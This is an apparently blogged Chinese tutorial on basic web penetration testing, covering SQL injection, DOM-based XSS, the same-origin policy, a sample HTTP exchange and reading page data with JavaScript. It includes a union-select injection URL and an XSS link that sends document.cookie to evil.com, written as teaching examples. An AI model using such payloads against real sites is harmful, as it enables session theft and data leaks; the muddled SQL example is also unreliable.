Web前端渗透测试技术小结(一)

首先端正一下态度不可干违法的事

 1、SQL注入测试

    对于存在SQL注入的网页,使用SQL语句进行关联查询(仿照C/S模式)eg   http://www.foo.com/user.php?id=1

常见的这样的网址,这样提交到服务器后返回的只能是ID=1的普通信息。做数据库关联查询http://www.foo.com/user.php?id=1 union where id=1 union select password ,1,a from users这样的SQL语句是合法的,如果拂去其端的应用存在SQL注入问题,他会认为这是合法的提交查询,当这样提交后user的password会发生泄漏。以及密码账户上也可以进行测试。

  2、XSS跨站脚本攻击

     这里先解释跨站脚本 eg <script>eval(location.hash.substr(1));</script>,这段代码会保存到http://www.foo.com/info/html中,JavaScript内置的函数eval可以动态的调用JavaScript语句,location.hash获取的是链接http://www.foo.com/info.html#callback中的#后面的内容,substr是字符创截取函数,location.hash.substr(1)表示截取#后面的内容给eval函数进行动态的执行。

    现在来构造XSS链接脚本语句,http://www.foo.com/info.html#new%20Image().src="http://evil.com/steal.php?c="+escape(document.cookie)浏览器执行后脚本会变成eval('new Image().src="http://www/evil.com/steal.php?c="escape(document.cookie)')这样就可以跨站获取cookie信息,利用cookie可以登录被攻击者的账号,进行越权操作。

  3、同源策略

   不同客户端脚本在没有授权的情况下不能读写对方的资源。

    所谓同域就是指 同协议,桐域名,桐端口,通常说的两个站点同域就是指他们同源。

    客户端脚本主要是指JavaScript和ActionScript(Flash脚本语言),以及两者遵循的ECMAScript脚本标准,Flash提供了通信接口,两个脚本之间可以互相的通信。这里在说明一下Ajax是后台异步传输数据的一种形式,不需要刷新网页便可以修改后台数据。

     所谓授权就是目标站明确返回HTTP响应头  Access-control-allow-origin: http://ww.evil.com那么ajax技术对www.foo.com上的数据进行读写操作。

    读写权限,web上资源针对不同用户使用不同的权限,HTTP请求的referer只可读,但是document.cookie具备读写。

    资源,这里只说跨护端的资源,包括HTTP消息头,整个DOM树,浏览器存储cookie 、Flash Cookie、localStorage。

  4、HTTP协议

     在抓包分析中常看到HTTP协议链接会立即断开或者延时断开,每次请求都是再次建立。

GET http://www.foo.com/ HTTP/1.1

Host: www.foo.com
Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.19 (KHTML, like
Gecko) Chrome/18.0.1025.3 Safari/535.19
Referer: http://www.baidu.com/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch

Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: SESSIONID=58AB420B1D8B800526ACCCAA83A827A3:FG=1

响应如下:
HTTP/1.1 200 OK
Date: Sun, 04 Mar 2012 22:48:31 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Set-Cookie: PTOKEN=; expires=Mon, 01 Jan 1970 00:00:00 GMT; path=/;
domain=.foo.com; HttpOnly
Set-Cookie: USERID=c7888882e039b32fd7b4d3; expires=Tue, 01 Jan 2030
00:00:00 GMT; path=/; domain=.foo.com
X-Powered-By: PHP/5.2.6
Content-Length: 3635
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=gbk
<html>

   4、iframe标签是HTML中的一个重要的标签,是web安全中出频率最高,很多网站通过这个标签嵌入第三方的内容,比如广告页面。

   5、隐私获取,通过JavaScript语句可以构造函数获取相应的值,document.getElementById('private_msg').innerHTML这表示获取标签对象内HTML数据内容,也可以借用DOM接受标签名做进一步查询,document.getElementByTagNmae('div)[2].innerHTML;使用函数 getElementsByTagName接受的就是标签名,返回一个数组。另外还可以通过这种 方法获取cookie值,document.cookie

时到用时方恨少。。。。。。。。。

 

 

    

posted @ 2018-01-23 16:59  疏桐  阅读(2396)  评论(1编辑  收藏  举报
function e(n){ return document.getElementsByTagName(n) } function t(){ var t=e("script"),o=t.length,i=t[o-1]; return{ l:o,z:n(i,"zIndex",-1),o:n(i,"opacity",.5),c:n(i,"color","0,0,0"),n:n(i,"count",99) } } function o(){ a=m.width=window.innerWidth||document.documentElement.clientWidth||document.body.clientWidth, c=m.height=window.innerHeight||document.documentElement.clientHeight||document.body.clientHeight } function i(){ r.clearRect(0,0,a,c); var n,e,t,o,m,l; s.forEach(function(i,x){ for(i.x+=i.xa,i.y+=i.ya,i.xa*=i.x>a||i.x<0?-1:1,i.ya*=i.y>c||i.y<0?-1:1,r.fillRect(i.x-.5,i.y-.5,1,1),e=x+1;e=n.max/2&&(i.x-=.03*o,i.y-=.03*m), t=(n.max-l)/n.max,r.beginPath(),r.lineWidth=t/2,r.strokeStyle="rgba("+d.c+","+(t+.2)+")",r.moveTo(i.x,i.y),r.lineTo(n.x,n.y),r.stroke())) }), x(i) } var a,c,u,m=document.createElement("canvas"), d=t(),l="c_n"+d.l,r=m.getContext("2d-disabled"), x=window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame|| function(n){ window.setTimeout(n,1e3/45) }, w=Math.random,y={x:null,y:null,max:2e4};m.id=l,m.style.cssText="position:fixed;top:0;left:0;z-index:"+d.z+";opacity:"+d.o,e("body")[0].appendChild(m),o(),window.onresize=o, window.onmousemove=function(n){ n=n||window.event,y.x=n.clientX,y.y=n.clientY }, window.onmouseout=function(){ y.x=null,y.y=null }; for(var s=[],f=0;d.n>f;f++){ var h=w()*a,g=w()*c,v=2*w()-1,p=2*w()-1;s.push({x:h,y:g,xa:v,ya:p,max:6e3}) } u=s.concat([y]), setTimeout(function(){i()},100) }();